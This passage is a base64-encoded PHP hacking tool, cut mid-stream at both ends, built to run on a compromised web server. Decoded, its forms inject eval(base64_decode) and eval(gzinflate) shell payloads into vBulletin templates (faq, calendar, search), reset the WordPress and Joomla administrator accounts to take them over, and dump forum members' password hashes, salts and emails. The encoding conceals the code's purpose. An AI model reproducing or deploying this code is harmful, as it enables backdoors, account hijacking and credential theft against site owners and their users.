PlBhc3MgOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzIi8+PC90ZD4KCjwv dHI+Cgo8dHI+CiAgICAgPHRkPmRiJm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+CiAgICAgPHRkPjxp bnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYiIgLz48L3RkPgo8L3RyPgo8L3RhYmxlPgo8dGFibGUg Y2xhc3M9InRhYjIiIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNDUlIj4K PHRyPgogICAgIDx0ZCA+WW91ciBpbmRleCA6PC90ZD4KICAgICA8dGQ+PHRleHRhcmVhIHJvd3M9 IjMiIG5hbWU9ImluZGV4Ij48L3RleHRhcmVhPjwvdGQ+CjwvdHI+CgoKPHRyPgoKICAgICAgPHRk IGNvbHNwYW49IjYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI3MCUiPiA8aW5wdXQgdHlwZT0ic3Vi bWl0IiB2YWx1ZT0iU1FMIiBtYXhsZW5ndGg9IjMwIiAvPiAgPGlucHV0IHR5cGU9InJlc2V0IiB2 YWx1ZT0iY2xlYXIiIG1heGxlbmd0aD0iMzAiIC8+IDwvdGQ+Cgo8L3RyPgogIDwvdGFibGU+CiA8 L2Zvcm0+ICA8L2Rpdj4nOwovLyA8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8 PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8IHZiID4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+PgogJGhv c3QgPSAkX1BPU1RbJ2hvc3QnXTsKJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsKJHBhc3MgPSAkX1BP U1RbJ3Bhc3MnXTsKJGRiICAgPSAkX1BPU1RbJ2RiJ107CiRpbmRleCAgPSAkX1BPU1RbJ2luZGV4 J107CgppZihpc3NldCgkaG9zdCkgKSB7CiRjb24gPUAgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNl ciwkcGFzcykgb3IgZGllIDsKJHNlZGIgPUAgbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllOwok aW5kZXg9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJGluZGV4KTsKJGNyeXB0ICA9ICJ7XCR7ZXZhbChi YXNlNjRfZGVjb2RlKFwnIjsKJGNyeXB0IC49IGJhc2U2NF9lbmNvZGUoImVjaG8gXCIkaW5kZXhc IjsiKTsKJGNyeXB0IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7CiRzcWxpbmRl eCA9ICJVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9ICckY3J5cHQnIiBvciBkaWU7 CiRxdWVyeSA9QCBteXNxbF9xdWVyeSgkc3FsaW5kZXgsJGNvbik7CgppZiAoJHF1ZXJ5KQp7CiAg ZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPn5fXiA/PyA/Pz8/Pz8/Pz88YnIg Lz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOwp9CmVsc2UgaWYgKCEkcXVlcnkpCnsKICBlY2hvICJl cnJvciI7Cn0KCn1lbHNlCnsKICBlY2hvICI8Y2VudGVyPjxiciAvPjxkaXYgY2xhc3M9J2NvbSc+ ISA/Pz8/ID8/Pz8/PyA/Pz8/Pz8/IDxiciAvPjxiciAvPjwvZGl2PjwvY2VudGVyPiI7Cn0KICBi cmVhazsKCgovLyA8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8 PDw8PDw8PDw8PDw8PDw8IHdwID4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+PgoKICBjYXNlIDI6Cgog IGVjaG8gJwoKPGRpdiBjbGFzcz0iY29tIj4KPGZvcm0gbWV0aG9kPSJwb3N0Ij4KPHRhYmxlIGNl bGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMzUlIiBjbGFzcz0idGFiIj4KIDxi ciAvPgoKPHRyIj4KICAgICA8dGQ+SG9zdCA6PC90ZD4KICAgICA8dGQ+PGlucHV0IHR5cGU9InRl eHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD4KPC90cj4KCjx0ciAiPgog ICAgIDx0ZD51c2VyJm5ic3A7OjwvdGQ+CiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1l PSJ1c2VyIiAvPjwvdGQ+CjwvdHI+Cgo8dHI+CiAgICAgPHRkPlBhc3MgOjwvdGQ+PHRkPjxpbnB1 dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzIi8+PC90ZD4KCjwvdHI+Cgo8dHI+CiAgICAgPHRkPmRi Jm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+CiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1l PSJkYiIgLz48L3RkPgo8L3RyPgo8L3RhYmxlPgo8dGFibGUgY2VsbHBhZGRpbmc9IjQiIGFsaWdu PSJjZW50ZXIiIHdpZHRoPSI0NSUiIGNsYXNzPSJ0YWIiPgoKPHRyPgogICAgIDx0ZD51c2VyIGFk bWluJm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+CiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBu YW1lPSJ1c2VyYWRtaW4iIC8+PC90ZD4KPC90cj4KPHRyPgogICAgIDx0ZD5wYXNzIGFkbWluJm5i c3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+CiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJw YXNzYWRtaW4iIC8+PC90ZD4KPC90cj4KCjx0cj4KCiAgICAgIDx0ZCBjb2xzcGFuPSI2IiBhbGln bj0iY2VudGVyIiB3aWR0aD0iNzAlIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNRTCIg bWF4bGVuZ3RoPSIzMCIgLz4gIDxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9ImNsZWFyIiBtYXhs ZW5ndGg9IjMwIiAvPiA8L3RkPgoKPC90cj4KICA8L3RhYmxlPgogPC9mb3JtPiA8L2Rpdj4nOwoK JGhvc3QgICAgICAgPSAkX1BPU1RbJ2hvc3QnXTsKJHVzZXIgICAgICAgPSAkX1BPU1RbJ3VzZXIn XTsKJHBhc3MgICAgICAgPSAkX1BPU1RbJ3Bhc3MnXTsKJGRiICAgICAgICAgPSAkX1BPU1RbJ2Ri J107CiR1c2VyYWRtaW4gID0gJF9QT1NUWyd1c2VyYWRtaW4nXTsKJHBhc3NfYWQgICAgPSAkX1BP U1RbJ3Bhc3NhZG1pbiddOwoKCgppZihpc3NldCgkaG9zdCkgKSB7CiRjb24gPUAgbXlzcWxfY29u bmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllIDsKJHNlZGIgPUAgbXlzcWxfc2VsZWN0X2Ri KCRkYikgb3IgZGllOwoKJGNyeXB0ID0gY3J5cHQoJHBhc3NfYWQpOwoKCiRxdWVyeSA9QG15c3Fs X3F1ZXJ5KCJVUERBVEUgYHdwX3VzZXJzYCBTRVQgYHVzZXJfbG9naW5gID0nIi4kdXNlcmFkbWlu LiInIFdIRVJFIElEID0gMSIpIG9yIGRpZTsKJHF1ZXJ5ID1AbXlzcWxfcXVlcnkoIlVQREFURSBg d3BfdXNlcnNgIFNFVCBgdXNlcl9wYXNzYCA9JyIuJGNyeXB0LiInIFdIRVJFIElEID0gMSIpIG9y IGRpZTsKCgoKaWYgKCRxdWVyeSkKewogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFzcz0n Y29tJz5+X14gPz8gPz8/Pz8/Pz8/PGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+IjsKfQplbHNl IGlmICghJHF1ZXJ5KQp7CiAgZWNobyAiZXJyb3IiOwp9Cgp9ZWxzZQp7CiAgZWNobyAiPGNlbnRl cj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPiEgPz8/PyA/Pz8/Pz8gPz8/Pz8/PyA8YnIgLz48YnIg Lz48L2Rpdj48L2NlbnRlcj4iOwp9CgoKCiAgYnJlYWs7CgoKCi8vIDw8PDw8PDw8PDw8PDw8PDw8 PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDwgam9vbWxhID4+Pj4+ Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+PgoKICBjYXNlIDM6CiAgZWNobyAnCgo8ZGl2IGNsYXNzPSJjb20i Pgo8Zm9ybSBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50 ZXIiIHdpZHRoPSIzNSUiIGNsYXNzPSJ0YWIiPgogPGJyIC8+Cgo8dHIiPgogICAgIDx0ZD5Ib3N0 IDo8L3RkPgogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9Imxv Y2FsaG9zdCIgLz48L3RkPgo8L3RyPgoKPHRyICI+CiAgICAgPHRkPnVzZXImbmJzcDs6PC90ZD4K ICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIC8+PC90ZD4KPC90cj4KCjx0 cj4KICAgICA8dGQ+UGFzcyA6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3Mi Lz48L3RkPgoKPC90cj4KCjx0cj4KICAgICA8dGQ+ZGImbmJzcDsmbmJzcDsmbmJzcDs6PC90ZD4K ICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiIiAvPjwvdGQ+CjwvdHI+CjwvdGFi bGU+Cjx0YWJsZSBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjUwJSIgY2xh c3M9InRhYiI+Cgo8dHI+CiAgICAgPHRkPmRicHJlZml4Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 OjwvdGQ+CiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJqb3AiIHZhbHVlPSJqb3Nf dXNlcnMiIC8+PC90ZD4KPC90cj4KCgo8dHI+CiAgICAgPHRkPkVtYWlsIGFkbWluJm5ic3A7Jm5i c3A7Jm5ic3A7OjwvdGQ+CiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJlbWFpbCIg Lz48L3RkPgo8L3RyPgoKCjx0cj4KCiAgICAgIDx0ZCBjb2xzcGFuPSI2IiBhbGlnbj0iY2VudGVy IiB3aWR0aD0iNzAlIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNRTCIgbWF4bGVuZ3Ro PSIzMCIgLz4gIDxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9ImNsZWFyIiBtYXhsZW5ndGg9IjMw IiAvPiA8L3RkPgoKPC90cj4KICA8L3RhYmxlPgogPC9mb3JtPiA8L2Rpdj4nOwoKJGhvc3QgPSAk X1BPU1RbJ2hvc3QnXTsKJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsKJHBhc3MgPSAkX1BPU1RbJ3Bh c3MnXTsKJGRiICAgPSAkX1BPU1RbJ2RiJ107CiRqb3AgID0gJF9QT1NUWydqb3AnXTsKJGVtYWls ICA9ICRfUE9TVFsnZW1haWwnXTsKCmlmKGlzc2V0KCRob3N0KSApIHsKJGNvbiA9ICBAIG15c3Fs X2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSA7CiRzZWRiID0gQCBteXNxbF9zZWxl Y3RfZGIoJGRiKSBvciBkaWU7CgoKJHF1ZXJ5PSBAIG15c3FsX3F1ZXJ5KCJVUERBVEUgJGpvcCBT RVQgZW1haWwgPSciLiRlbWFpbC4iJyBXSEVSRSBpZCA9IDEiKSBvciBkaWU7CgoKCmlmICgkcXVl cnkpCnsKICBlY2hvICI8Y2VudGVyPjxiciAvPjxkaXYgY2xhc3M9J2NvbSc+fl9eID8/ID8/Pz8/ Pz8/PzxiciAvPjxiciAvPjwvZGl2PjwvY2VudGVyPiI7Cn0KZWxzZSBpZiAoISRxdWVyeSkKewog IGVjaG8gImVycm9yIjsKfQoKfWVsc2UKewogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFz cz0nY29tJz4hID8/Pz8gPz8/Pz8/ID8/Pz8/Pz8gPGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+ IjsKfQoKCiAgYnJlYWs7Ci8vIDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDwgdmIg c2hlbGwgRkFRID4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+PgogIGNhc2UgNDoKICBlY2hv ICcKCjxkaXYgY2xhc3M9ImNvbSI+Cjxmb3JtIG1ldGhvZD0icG9zdCI+Cjx0YWJsZSBjZWxscGFk ZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjM1JSIgY2xhc3M9InRhYiI+CiA8YnIgLz4K Cjx0ciI+CiAgICAgPHRkPkhvc3QgOjwvdGQ+CiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBu YW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0IiAvPjwvdGQ+CjwvdHI+Cgo8dHIgIj4KICAgICA8 dGQ+dXNlciZuYnNwOzo8L3RkPgogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNl ciIgLz48L3RkPgo8L3RyPgoKPHRyPgogICAgIDx0ZD5QYXNzIDo8L3RkPjx0ZD48aW5wdXQgdHlw ZT0idGV4dCIgbmFtZT0icGFzcyIvPjwvdGQ+Cgo8L3RyPgoKPHRyPgogICAgIDx0ZD5kYiZuYnNw OyZuYnNwOyZuYnNwOzo8L3RkPgogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGIi IC8+PC90ZD4KPC90cj4KCjwvdGFibGU+Cjx0YWJsZSBjbGFzcz0idGFiMiIgY2VsbHBhZGRpbmc9 IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI0NSUiPgo8dHI+CiAgICAgIDx0ZD4gPGJyIC8+PGNl bnRlcj5JbmplY3Rpb24gU2hlbGwgaW4gZmFxLnBocDwvY2VudGVyPjxiciAvPiA8L3RkPgo8L3Ry PgoKPHRyPgoKICAgICAgPHRkIGNvbHNwYW49IjYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI3MCUi PiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU1FMIiBtYXhsZW5ndGg9IjMwIiAvPiAgPGlu cHV0IHR5cGU9InJlc2V0IiB2YWx1ZT0iY2xlYXIiIG1heGxlbmd0aD0iMzAiIC8+IDwvdGQ+Cgo8 L3RyPgogIDwvdGFibGU+CiA8L2Zvcm0+ICA8L2Rpdj4nOwoKJGhvc3QgPSAkX1BPU1RbJ2hvc3Qn XTsKJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsKJHBhc3MgPSAkX1BPU1RbJ3Bhc3MnXTsKJGRiICAg PSAkX1BPU1RbJ2RiJ107CiRmYXEgID0gJF9QT1NUWydpbmRleCddOwoKaWYoaXNzZXQoJGhvc3Qp ICkgewokY29uID1AIG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSA7CiRz ZWRiID1AIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZTsKJGNyeXB0ICA9ICJ7XCR7ZXZhbChn emluZmxhdGUoYmFzZTY0X2RlY29kZShcJyI7CiRjcnlwdCAuPSAiJHNoZWxsIjsKJGNyeXB0IC49 ICJcJykpKX19e1wke2V4aXQoKX19PC90ZXh0YXJlYT4iOwokc3FsZmFxPSJVUERBVEUgdGVtcGxh dGUgU0VUIHRlbXBsYXRlID0nIi4kY3J5cHQuIicgV0hFUkUgdGl0bGUgPSdGQVEnIiA7CiRxdWVy eSA9QCBteXNxbF9xdWVyeSgkc3FsZmFxLCRjb24pOwoKaWYgKCRxdWVyeSkKewogIGVjaG8gIjxj ZW50ZXI+PGJyIC8+PGRpdiBjbGFzcz0nY29tJz5+X14gPz8gPz8/Pz8/Pz8/PGJyIC8+PGJyIC8+ PC9kaXY+PC9jZW50ZXI+IjsKfQplbHNlIGlmICghJHF1ZXJ5KQp7CiAgZWNobyAiZXJyb3IiOwp9 Cgp9ZWxzZQp7CiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPiEgPz8/PyA/ Pz8/Pz8gPz8/Pz8/PyA8YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOwp9CiAgYnJlYWs7CgoK Ci8vIDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDwgdmIgc2hlbGwgQ0FMRU5EQVIg Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+CiAgY2FzZSA1OgplY2hvICcKCjxkaXYgY2xh c3M9ImNvbSI+Cjxmb3JtIG1ldGhvZD0icG9zdCI+Cjx0YWJsZSBjZWxscGFkZGluZz0iNCIgYWxp Z249ImNlbnRlciIgd2lkdGg9IjM1JSIgY2xhc3M9InRhYiI+CiA8YnIgLz4KCjx0ciI+CiAgICAg PHRkPkhvc3QgOjwvdGQ+CiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2 YWx1ZT0ibG9jYWxob3N0IiAvPjwvdGQ+CjwvdHI+Cgo8dHIgIj4KICAgICA8dGQ+dXNlciZuYnNw Ozo8L3RkPgogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlciIgLz48L3RkPgo8 L3RyPgoKPHRyPgogICAgIDx0ZD5QYXNzIDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFt ZT0icGFzcyIvPjwvdGQ+Cgo8L3RyPgoKPHRyPgogICAgIDx0ZD5kYiZuYnNwOyZuYnNwOyZuYnNw Ozo8L3RkPgogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGIiIC8+PC90ZD4KPC90 cj4KPC90YWJsZT4KPHRhYmxlIGNsYXNzPSJ0YWIyIiBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNl bnRlciIgd2lkdGg9IjQ1JSI+Cjx0cj4KICAgICAgPHRkPiA8YnIgLz48Y2VudGVyPkluamVjdGlv biBTaGVsbCBpbiBjYWxlbmRhci5waHA8L2NlbnRlcj48YnIgLz4gPC90ZD4KPC90cj4KCgo8dHI+ CgogICAgICA8dGQgY29sc3Bhbj0iNiIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjcwJSI+IDxpbnB1 dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTUUwiIG1heGxlbmd0aD0iMzAiIC8+ICA8aW5wdXQgdHlw ZT0icmVzZXQiIHZhbHVlPSJjbGVhciIgbWF4bGVuZ3RoPSIzMCIgLz4gPC90ZD4KCjwvdHI+CiAg PC90YWJsZT4KIDwvZm9ybT4gIDwvZGl2Pic7Ci8vCiRob3N0ID0gJF9QT1NUWydob3N0J107CiR1 c2VyID0gJF9QT1NUWyd1c2VyJ107CiRwYXNzID0gJF9QT1NUWydwYXNzJ107CiRkYiAgID0gJF9Q T1NUWydkYiddOwokaW5kZXggID0gJF9QT1NUWydpbmRleCddOwoKaWYoaXNzZXQoJGhvc3QpICkg ewokY29uID1AIG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSA7CiRzZWRi ID1AIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZTsKJGNyeXB0ICA9ICJ7XCR7ZXZhbChnemlu ZmxhdGUoYmFzZTY0X2RlY29kZShcJyI7CiRjcnlwdCAuPSAiJHNoZWxsIjsKJGNyeXB0IC49ICJc JykpKX19e1wke2V4aXQoKX19PC90ZXh0YXJlYT4iOwokc3FsZmFxPSJVUERBVEUgdGVtcGxhdGUg U0VUIHRlbXBsYXRlID0nIi4kY3J5cHQuIicgV0hFUkUgdGl0bGUgPSdDQUxFTkRBUiciIDsKJHF1 ZXJ5ID1AIG15c3FsX3F1ZXJ5KCRzcWxmYXEsJGNvbik7CgppZiAoJHF1ZXJ5KQp7CiAgZWNobyAi PGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPn5fXiA/PyA/Pz8/Pz8/Pz88YnIgLz48YnIg Lz48L2Rpdj48L2NlbnRlcj4iOwp9CmVsc2UgaWYgKCEkcXVlcnkpCnsKICBlY2hvICJlcnJvciI7 Cn0KCn1lbHNlCnsKICBlY2hvICI8Y2VudGVyPjxiciAvPjxkaXYgY2xhc3M9J2NvbSc+ISA/Pz8/ ID8/Pz8/PyA/Pz8/Pz8/IDxiciAvPjxiciAvPjwvZGl2PjwvY2VudGVyPiI7Cn0KICBicmVhazsK Ci8vIDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDwgdmIgc2hlbGwgc2VhcmNoID4+ Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+PgoKICBjYXNlIDY6CmVjaG8gJwoKPGRpdiBjbGFz cz0iY29tIj4KPGZvcm0gbWV0aG9kPSJwb3N0Ij4KPHRhYmxlIGNlbGxwYWRkaW5nPSI0IiBhbGln bj0iY2VudGVyIiB3aWR0aD0iMzUlIiBjbGFzcz0idGFiIj4KIDxiciAvPgoKPHRyIj4KICAgICA8 dGQ+SG9zdCA6PC90ZD4KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZh bHVlPSJsb2NhbGhvc3QiIC8+PC90ZD4KPC90cj4KCjx0ciAiPgogICAgIDx0ZD51c2VyJm5ic3A7 OjwvdGQ+CiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIiAvPjwvdGQ+Cjwv dHI+Cgo8dHI+CiAgICAgPHRkPlBhc3MgOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1l PSJwYXNzIi8+PC90ZD4KCjwvdHI+Cgo8dHI+CiAgICAgPHRkPmRiJm5ic3A7Jm5ic3A7Jm5ic3A7 OjwvdGQ+CiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYiIgLz48L3RkPgo8L3Ry Pgo8dGFibGUgY2xhc3M9InRhYjIiIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0 aD0iNDUlIj4KPHRyPgogICAgICA8dGQ+IDxiciAvPjxjZW50ZXI+SW5qZWN0aW9uIFNoZWxsIGlu IHNlYXJjaC5waHA8L2NlbnRlcj48YnIgLz4gPC90ZD4KPC90cj4KCgo8dHI+CgogICAgICA8dGQg Y29sc3Bhbj0iNiIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjcwJSI+IDxpbnB1dCB0eXBlPSJzdWJt aXQiIHZhbHVlPSJTUUwiIG1heGxlbmd0aD0iMzAiIC8+ICA8aW5wdXQgdHlwZT0icmVzZXQiIHZh bHVlPSJjbGVhciIgbWF4bGVuZ3RoPSIzMCIgLz4gPC90ZD4KCjwvdHI+CiAgPC90YWJsZT4KIDwv Zm9ybT4gIDwvZGl2Pic7CgokaG9zdCA9ICRfUE9TVFsnaG9zdCddOwokdXNlciA9ICRfUE9TVFsn dXNlciddOwokcGFzcyA9ICRfUE9TVFsncGFzcyddOwokZGIgICA9ICRfUE9TVFsnZGInXTsKJGlu ZGV4ICA9ICRfUE9TVFsnaW5kZXgnXTsKCmlmKGlzc2V0KCRob3N0KSApIHsKJGNvbiA9QCBteXNx bF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKSBvciBkaWUgOwokc2VkYiA9QCBteXNxbF9zZWxl Y3RfZGIoJGRiKSBvciBkaWU7CiRjcnlwdCAgPSAie1wke2V2YWwoZ3ppbmZsYXRlKGJhc2U2NF9k ZWNvZGUoXCciOwokY3J5cHQgLj0gIiRzaGVsbCI7IAokY3J5cHQgLj0gIlwnKSkpfX17XCR7ZXhp dCgpfX08L3RleHRhcmVhPiI7CiRzcWxmYXE9IlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUg PSciLiRjcnlwdC4iJyBXSEVSRSB0aXRsZSA9J3NlYXJjaF9mb3J1bXMnIiA7CiRxdWVyeSA9QCBt eXNxbF9xdWVyeSgkc3FsZmFxLCRjb24pOwoKaWYgKCRxdWVyeSkKewogIGVjaG8gIjxjZW50ZXI+ PGJyIC8+PGRpdiBjbGFzcz0nY29tJz5+X14gPz8gPz8/Pz8/Pz8/PGJyIC8+PGJyIC8+PC9kaXY+ PC9jZW50ZXI+IjsKfQplbHNlIGlmICghJHF1ZXJ5KQp7CiAgZWNobyAiZXJyb3IiOwp9Cgp9ZWxz ZQp7CiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPiEgPz8/PyA/Pz8/Pz8g Pz8/Pz8/PyA8YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOwp9CiAgYnJlYWs7CgoKLy8gPDw8 PDw8PDw8PDw8PDw8PDw8PDw8PCB2YiBtZW1iZXJzID4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+ Pj4+Pj4+Pj4+Pj4+PgogIGNhc2UgNzoKCiAgZWNobyAnCgo8ZGl2IGNsYXNzPSJjb20iPgo8Zm9y bSBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdp ZHRoPSIzNSUiIGNsYXNzPSJ0YWIiPgogPGJyIC8+Cgo8dHIiPgogICAgIDx0ZD5Ib3N0IDo8L3Rk PgogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9z dCIgLz48L3RkPgo8L3RyPgoKPHRyICI+CiAgICAgPHRkPnVzZXImbmJzcDs6PC90ZD4KICAgICA8 dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIC8+PC90ZD4KPC90cj4KCjx0cj4KICAg ICA8dGQ+UGFzcyA6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3MiLz48L3Rk PgoKPC90cj4KCjx0cj4KICAgICA8dGQ+ZGImbmJzcDsmbmJzcDsmbmJzcDs6PC90ZD4KICAgICA8 dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiIiAvPjwvdGQ+CjwvdHI+Cjx0YWJsZSBjbGFz cz0idGFiMiIgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI0NSUiPgo8dHI+ CiAgICAgIDx0ZD4gPGJyIC8+PGNlbnRlcj5zaG93IG1lbWJlcnMgSW5mb3JtYXRpb248L2NlbnRl cj48YnIgLz4gPC90ZD4KPC90cj4KCgo8dHI+CgogICAgICA8dGQgY29sc3Bhbj0iNiIgYWxpZ249 ImNlbnRlciIgd2lkdGg9IjcwJSI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTUUwiIG1h eGxlbmd0aD0iMzAiIC8+ICA8aW5wdXQgdHlwZT0icmVzZXQiIHZhbHVlPSJjbGVhciIgbWF4bGVu Z3RoPSIzMCIgLz4gPC90ZD4KCjwvdHI+CiAgPC90YWJsZT4KIDwvZm9ybT4gIDwvZGl2Pic7Cgok aG9zdCA9ICRfUE9TVFsnaG9zdCddOwokdXNlciA9ICRfUE9TVFsndXNlciddOwokcGFzcyA9ICRf UE9TVFsncGFzcyddOwokZGIgICA9ICRfUE9TVFsnZGInXTsKJGluZGV4ICA9ICRfUE9TVFsnaW5k ZXgnXTsKCmlmKGlzc2V0KCRob3N0KSApIHsKJGNvbiA9QCBteXNxbF9jb25uZWN0KCRob3N0LCR1 c2VyLCRwYXNzKSBvciBkaWUgOwokc2VkYiA9QCBteXNxbF9zZWxlY3RfZGIoJGRiKSBvciBkaWU7 CiRzcWwgPSAnc2VsZWN0ICogZnJvbSBgdXNlcmAnOwokcXVlcnkgPUAgbXlzcWxfcXVlcnkoJHNx bCwkY29uKTsKCmlmICgkcXVlcnkpCnsKCndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2Mo JHF1ZXJ5KSkKewoKZWNobyAiCjxiciAvPjxiciAvPjx0YWJsZSBjZWxscGFkZGluZz0nNCcgY2Vs bHNwYWNpbmc9JzQnIGFsaWduPSdjZW50ZXInIGNsYXNzPSd0Ym0nPgo8dHI+CiAgICAgICA8dGQ+ SUQgOjwvdGQ+CiAgICAgICA8dGQ+dXNlciA6PC90ZD4KICAgICAgIDx0ZD5wYXNzIDo8L3RkPgog ICAgICAgPHRkPnNhbHQgOjwvdGQ+CiAgICAgICA8dGQ+ZW1haWwgOjwvdGQ+Cgo8L3RyPgoKPHRy PgogICAgICAgPHRkPiIuJHJvd1sndXNlcmlkJ10uIjwvdGQ+CiAgICAgICA8dGQ+Ii4kcm93Wyd1 